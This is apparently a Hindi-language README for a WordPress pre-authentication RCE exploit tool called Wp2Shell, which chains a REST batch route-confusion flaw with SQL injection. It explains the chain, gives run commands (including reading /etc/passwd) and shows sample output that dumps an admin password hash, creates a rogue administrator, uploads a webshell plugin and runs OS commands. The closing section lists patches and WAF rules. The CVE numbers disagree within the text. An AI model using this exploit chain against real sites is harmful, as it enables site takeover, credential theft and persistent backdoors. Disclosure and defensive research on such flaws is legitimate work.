
Exploit POC for Wp2Shell, CVE-2026-63030 + CVE-2026-63137
वर्डप्रेस कोर में प्री-ऑथेंटिकेशन रिमोट कोड एक्जीक्यूशन।
CVE-2026-60137 (WP_Query में SQL इंजेक्शन) को CVE-2026-63030 (REST API बैच रूट कन्फ्यूज़न) के साथ जोड़ा गया।
केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।
वर्डप्रेस 6.9.0 से 6.9.4 और 7.0.0 से 7.0.1 तक के संस्करण असुरक्षित हैं। 6.9.5 और 7.0.2 में सुधार किया गया।
एक्सप्लॉइट दो कमजोरियों को श्रृंखलित करता है:
CVE-2026-63030 — बैच रूट कन्फ्यूज़न। REST API बैच एंडपॉइंट /wp-json/batch/v1 (या /?rest_route=/batch/v1) पर सब-रिक्वेस्ट को दो चरणों में प्रोसेस करता है: यह प्रत्येक पथ को एक हैंडलर से मैच करता है, फिर प्रत्येक अनुरोध को उसके मैच किए गए हैंडलर के माध्यम से डिस्पैच करता है। जब एक जानबूझकर बिगड़ा हुआ पथ (///) पहली सब-रिक्वेस्ट के रूप में डाला जाता है, तो वर्डप्रेस WP_Error को matched-routes ऐरे के इंडेक्स 0 पर स्टोर करता है। यह प्रत्येक बाद के हैंडलर असाइनमेंट को एक इंडेक्स पीछे स्थानांतरित कर देता है। फिर डिस्पैच लूप प्रत्येक अनुरोध को गलत हैंडलर के साथ जोड़ता है — स्कीमा A के विरुद्ध मान्य किया गया अनुरोध हैंडलर B द्वारा निष्पादित किया जाता है, जिससे स्कीमा A द्वारा लागू किए गए पैरामीटर सैनिटाइज़ेशन को दरकिनार किया जा सकता है।
CVE-2026-60137 — WP_Query में SQL इंजेक्शन। पोस्ट्स कलेक्शन एंडपॉइंट एक author_exclude पैरामीटर स्वीकार करता है जिसकी स्कीमा इंटीजर-टाइप्ड ऐरे वैल्यूज़ को लागू करती है, प्रत्येक तत्व को WP_Query तक पहुंचने से पहले absint() के साथ सैनिटाइज़ करती है। बैच डिसिंक के कारण यह पैरामीटर स्कीमा सत्यापन को पूरी तरह से बायपास करता है और WP_Query के author__not_in लॉजिक में एक कच्चे स्ट्रिंग के रूप में पहुंचता है। क्योंकि absint() केवल is_array() ब्रांच के अंदर लागू होता है, कच्ची स्ट्रिंग सीधे SQL WHERE क्लॉज में डाल दी जाती है, जिससे UNION SELECT इंजेक्शन संभव हो जाता है।
पूरी श्रृंखला चार चरणों में आगे बढ़ती है:
UNION SELECT पंक्तियों के माध्यम से डेटाबेस संस्करण, उपयोगकर्ता, तालिका उपसर्ग, और व्यवस्थापक क्रेडेंशियल्स निकालें।wp_posts पंक्तियों को इंजेक्ट करके एक नया व्यवस्थापक खाता बनाएं जो oEmbed कैश को दूषित करे और WP_Customize_Manager के changeset publish हुक को ट्रिगर करे, जो wp_insert_user() को role=administrator के साथ कॉल करता है।git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
कोई pip install आवश्यक नहीं है।
सभी चार चरणों को चलाता है: डिसिंक पुष्टि, SQL टोही, व्यवस्थापक निर्माण, और वेबशेल तैनाती। प्रत्येक रन पर एक नया व्यवस्थापक खाता और प्लगइन बनाया जाता है।
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
स्व-हस्ताक्षरित प्रमाणपत्र वाले HTTPS लक्ष्य के लिए:
python3 exploit.py --url https://TARGET --command "id" --insecure
पूर्ण-श्रृंखला रन पूरा होने के बाद, स्क्रिप्ट तैनात क्रेडेंशियल्स और शेल पथ के साथ एक रेडी-टू-यूज़ पुन: उपयोग कमांड प्रिंट करती है। बाद के रनों पर उन तीन फ्लैग को पास करें ताकि SQL और व्यवस्थापक-निर्माण चरणों को पूरी तरह से छोड़ दिया जा सके:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
तीनों --admin-* / --prev-webshell-plugin फ्लैग को एक साथ या बिल्कुल नहीं दिया जाना चाहिए।
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
तुरंत एक सुधारित रिलीज़ में अपडेट करें।
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6यदि तुरंत पैच लगाना संभव नहीं है, तो वेब सर्वर या WAF स्तर पर बैच एंडपॉइंट के दोनों URL रूपों को ब्लॉक करें। दोनों रूट को ब्लॉक किया जाना चाहिए — केवल pretty-permalink फॉर्म को कवर करने वाला नियम query-string फॉर्म को खुला छोड़ देता है:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
या must-use प्लगइन का उपयोग करके वर्डप्रेस के भीतर से एंडपॉइंट को अक्षम करें:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
पैच-पूर्व सभी नियंत्रणों को केवल अस्थायी पुल के रूप में मानें। जितनी जल्दी हो सके पैच लागू करें और बाद में प्रत्येक इंटरनेट-फेसिंग इंस्टेंस पर स्थापित संस्करण सत्यापित करें।
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पेनिट्रेशन परीक्षण के लिए प्रदान किया गया है। सिस्टम स्वामी से स्पष्ट पूर्व लिखित अनुमति के बिना किसी भी सिस्टम पर इसे चलाना अवैध है। लेखक किसी भी दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते हैं।
| Flag | Short | विवरण |
|---|
--url | -u | लक्ष्य वर्डप्रेस आधार URL. डिफ़ॉल्ट: http://localhost:8080 |
--command | -c | निष्पादित करने के लिए OS कमांड. डिफ़ॉल्ट: id |
--insecure | -k | स्व-हस्ताक्षरित प्रमाणपत्रों के लिए TLS प्रमाणपत्र सत्यापन अक्षम करें |
--admin-user | पुन: उपयोग मोड: पहले बनाया गया व्यवस्थापक उपयोगकर्ता नाम | |
--admin-password | पुन: उपयोग मोड: पहले बनाया गया व्यवस्थापक पासवर्ड | |
--prev-webshell-plugin | पुन: उपयोग मोड: पहले से तैनात वेबशेल प्लगइन का वेब पथ |